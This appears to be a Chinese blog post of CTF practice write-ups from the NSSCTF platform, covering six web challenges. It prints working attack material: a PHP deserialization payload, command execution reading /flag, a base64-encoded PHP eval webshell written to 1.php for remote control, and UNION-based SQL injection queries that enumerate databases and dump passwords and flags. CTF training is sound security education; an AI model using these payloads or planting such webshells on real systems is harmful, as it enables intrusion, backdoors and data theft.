【CTF刷题7】2024.9.21

ps:来源:NSSCTF平台

[LitCTF 2023]我Flag呢?

考点:查看源码

image-20240921143424830

[第五空间 2021]WebFTP

考点:目录扫描,.git泄露

image-20240921145117254

进行目录扫描,发现phpinfo.php文件。

image-20240921145429387

打开/phpinfo.php,查找到flag。

image-20240921145520251

NSSCTF{4d2f3b53-485c-4f5e-9c50-c37ae4784620}

[SWPUCTF 2021 新生赛]ez_unserialize

考点:序列化反序列化

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

分析代码,直接将admin,password赋相应的值就行。所以构造payload

<?php

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}

$a = new wllm();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

得到flag

image-20240921150436059

NSSCTF{f4055343-8c49-4a56-9673-7af2c614d919}

[LitCTF 2023]PHP是世界上最好的语言!!

考点:无参rce

根据界面可知,输入一串东西,会经过执行过程,所以相当于是命令执行漏洞

那就有以下两种方法:

法一:

直接无参rce,输入

system("cat /flag");

image-20240921153031158

法二:

使用 > 将一句话木马写进文档,然后蚁剑链接。

<?php eval($_POST['amd']);?>
经过base64加密
PD9waHAgZXZhbCgkX1BPU1Rb4oCYYW1k4oCZXSk7Pz4=

构造payload

system('echo "PD9waHAgZXZhbCgkX1BPU1Rb4oCYYW1k4oCZXSk7Pz4=" | base64 -d >1.php');

image-20240921154402524

[LitCTF 2023]导弹迷踪

考点:js分析,信息收集,源码泄露

打开是个游戏,根据提示需要通过6关才能得到线索。所以在文件中肯定有控制游戏通关的代码部分。

image-20240921155856302

查看源代码

image-20240921155916065

image-20240921155929724

NSSCTF{y0u_w1n_th1s_!!!}

[LitCTF 2023]这是什么?SQL !注一下 !

考点:sql注入

1)))))) order by 2 --+
1)))))) order by 3 --+

image-20240921165929725

image-20240921170024455

说明只有2行可用

1)))))) union select 1,2 --+

image-20240921170104607

1)))))) union select database(),2 --+

image-20240921170217363

1)))))) union select (select group_concat(table_name) from information_schema.tables where table_schema='ctf'),2 --+

image-20240921170303950

1)))))) union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2 --+

image-20240921170343934

1)))))) union select (select group_concat(password) from users),2 --+

image-20240921170418167

最后得到了一个假的flag,说明flag不在这个数据库中。

查看一下其他数据库

1)))))) union select (select group_concat(schema_name) from information_schema.schemata),2 --+

image-20240921170558234

可能在ctftraining数据库中,重复上述操作。

最后在ctftraining数据库中查询。

1)))))) union select (select group_concat(flag) from ctftraining.flag),2 --+

image-20240921165837174

得到flag

NSSCTF{341d6988-86fc-4a51-8787-23c02589f1c8}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梦 & 醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值